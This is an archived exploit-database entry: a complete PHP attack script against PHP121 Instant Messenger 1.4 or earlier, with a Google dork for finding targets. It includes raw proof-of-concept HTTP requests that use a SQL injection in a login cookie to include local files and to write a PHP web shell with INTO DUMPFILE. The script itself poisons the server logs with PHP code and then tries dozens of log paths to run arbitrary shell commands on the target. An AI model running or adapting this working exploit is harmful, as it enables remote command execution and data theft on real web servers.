php121im_14_sql_xpl.txt

2006-04-14T00:00:00
ID PACKETSTORM:45433
Type packetstorm
Reporter rgod
Modified 2006-04-14T00:00:00

Description

                                        
                                            `#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "PHP121 Instant Messenger <= 1.4 \$_SESSION[sess_username] remote cmmnds xctn \r\n";  
echo "by rgod rgod@autistici.org\r\n";  
echo "site: http://retrogod.altervista.org\r\n\r\n";  
echo "-> works with magic_quotes_gpc = Off\r\n\r\n";  
echo "a dork: inurl:php121login.php | inurl:php121im.php | intitle:\"PHP121 - PLEASE\"\r\n\r\n";  
  
if ($argc<4) {  
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to PHP121\r\n";  
echo "cmd: a shell command\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /php121/ cat php121config.php\r\n";  
echo "php ".$argv[0]." localhost /php121/ ls -la -p81\r\n";  
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";  
die;  
}  
  
/*  
software site: http://www.php121.com/  
description: "PHP121 is a free web based instant messenger - written entirely in  
PHP"  
  
i) vulnerable code in php121login.php and in nearly all files:  
  
...  
if (isset($_COOKIE['php121un']) && isset($_COOKIE['php121pw'])) {  
$logindataun = $_COOKIE['php121un'];  
$logindatapw = $_COOKIE['php121pw'];  
if (!empty($logindataun) && !empty($logindatapw)) {  
//we have a cookie - use it to login, overriding any sessions  
$_SESSION[sess_username]=$logindataun;  
$_SESSION[sess_password]=$logindatapw;  
}  
}  
  
$sess_username=$_SESSION[sess_username];  
$sess_password=$_SESSION[sess_password];  
...  
  
in php121language.php we have:  
  
...  
$sess_username=$_SESSION[sess_username];  
$sess_password=$_SESSION[sess_password];  
// are we logged in?  
  
if ($sess_username!="") {  
  
// get our language preference  
$sql="select $dbf_language from $db_usertable where $dbf_uname='$sess_username'";  
echo "sql: ".$sql."\r\n";  
$row=mysql_fetch_row(mysql_query($sql));  
if ($row[0]!="") {  
require_once("language/lang-".strtolower($row[0]).".php");  
  
}  
  
} else {  
  
// use the default language file  
require_once("language/lang-".strtolower($php121_config['default_language']).".php");  
  
}  
...  
  
"sess_username" value is not sanitized before to be used in our query  
so, if magic_quotes_gpc = Off, we can include arbitrary files from local  
resources, poc:  
  
GET /php121login.php HTTP/1.0  
Host: somehost  
Cookie: php121un=%27UNION+SELECT+%27..%2F..%2F..%2Fetc%2Fpasswd%00%27+FROM+php121_users%2F%2A; php121pw=suntzu;  
Connection: Close  
  
now session cookie is poisoned, and we can go to php121language.php  
with our new cookie to see/include local resources, query becomes:  
  
select php121_language from php121_users where uname=''UNION SELECT '../../../etc/passwd[null char]' FROM php121_users/*'  
  
php121_language field is varchar(30) so, before MySQL 4.1.1,  
your path is limited to 29 chars (so, it is nearly impossible  
submit a valid inclusion path), with Mysql >=4.1.1 it does not matter,  
path is not truncated anymore at the length of the first select field  
  
we can also try blind injection, injecting a shell:  
  
GET /php121login.php HTTP/1.0  
Host: somehost  
Cookie: php121un=%27UNION+SELECT+%27%3C%3Fphp+system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%27+INTO+DUMPFILE+%27somefile%27+FROM+php121_users%2F%2A; php121pw=suntzu;  
Connection: Close  
  
and now go to php121language.php to write our file, if MySQL have certain rigths  
to do it  
  
you can do the work trough a browser like Opera that allows to edit cookies  
  
However, this exploit inject some code in log files and try to include them  
  
*/  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
$host=$argv[1];  
$path=$argv[2];  
$cmd="";$port=80;$proxy="";  
  
for ($i=3; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P"))  
{$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
$cmd=urlencode($cmd);  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
echo "[1] Injecting some code in log files ...\r\n\r\n";  
$CODE="<?php echo 56789;passthru(\$_COOKIE[cmd]);die;?>";  
$packet="GET ".$p.$CODE." HTTP/1.0\r\n";  
$packet.="User-Agent: ".$CODE." Googlebot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: close\r\n\r\n";  
sendpacketii($packet);  
sleep(1);  
  
$paths=array(  
"../../../../../../../../../../var/log/httpd/access_log",  
"../../../../../../../../../../var/log/httpd/error_log",  
"../apache/logs/error.log",  
"../apache/logs/access.log",  
"../../apache/logs/error.log",  
"../../apache/logs/access.log",  
"../../../apache/logs/error.log",  
"../../../apache/logs/access.log",  
"../../../../apache/logs/error.log",  
"../../../../apache/logs/access.log",  
"../../../../../apache/logs/error.log",  
"../../../../../apache/logs/access.log",  
"../../../../../../apache/logs/error.log",  
"../../../../../../apache/logs/access.log",  
"../logs/error.log",  
"../logs/access.log",  
"../../logs/error.log",  
"../../logs/access.log",  
"../../../logs/error.log",  
"../../../logs/access.log",  
"../../../../logs/error.log",  
"../../../../logs/access.log",  
"../../../../../logs/error.log",  
"../../../../../logs/access.log",  
"../../../../../../logs/error.log",  
"../../../../../../logs/access.log",  
"../../../../../../../../../../etc/httpd/logs/acces_log",  
"../../../../../../../../../../etc/httpd/logs/acces.log",  
"../../../../../../../../../../etc/httpd/logs/error_log",  
"../../../../../../../../../../etc/httpd/logs/error.log",  
"../../../../../../../../../../var/www/logs/access_log",  
"../../../../../../../../../../var/www/logs/access.log",  
"../../../../../../../../../../usr/local/apache/logs/access_log",  
"../../../../../../../../../../usr/local/apache/logs/access.log",  
"../../../../../../../../../../var/log/apache/access_log",  
"../../../../../../../../../../var/log/apache/access.log",  
"../../../../../../../../../../var/log/access_log",  
"../../../../../../../../../../var/www/logs/error_log",  
"../../../../../../../../../../var/www/logs/error.log",  
"../../../../../../../../../../usr/local/apache/logs/error_log",  
"../../../../../../../../../../usr/local/apache/logs/error.log",  
"../../../../../../../../../../var/log/apache/error_log",  
"../../../../../../../../../../var/log/apache/error.log",  
"../../../../../../../../../../var/log/access_log",  
"../../../../../../../../../../var/log/error_log"  
);  
  
  
for ($i=0; $i<=count($paths)-1; $i++)  
{  
$a=$i+2;  
echo "[".$a."] Trying with: ".$paths[$i]."%00\r\n";  
$sql="'UNION SELECT '".$paths[$i].chr(0x00)."' FROM php121_users/*";  
$sql=urlencode($sql);  
$packet ="GET ".$p."php121login.php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: php121un=".$sql."; php121pw=suntzu;\r\n";  
$packet.="Connection: Close\r\n\r\n";  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
  
$temp=explode("Set-Cookie: ",$html);  
$temp2=explode(" ",$temp[1]);  
$cookie=$temp2[0];  
echo "Cookie -> ".$cookie."\r\n\r\n";  
if ($cookie=='') {  
echo $html;  
die("Something goes wrong...\r\n");  
}  
  
$packet ="GET ".$p."php121language.php HTTP/1.0\r\n";  
$packet.="User-Agent: GoogleBot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: ".$cookie."; cmd=".$cmd.";\r\n";  
$packet.="Connection: Close\r\n\r\n";  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
if (strstr($html,"56789"))  
{  
echo "Exploit succeeded...\r\n";  
$temp=explode("56789",$html);  
echo $temp[1];  
die;  
}  
}  
//if you are here...  
echo "Exploit failed...";  
?>  
`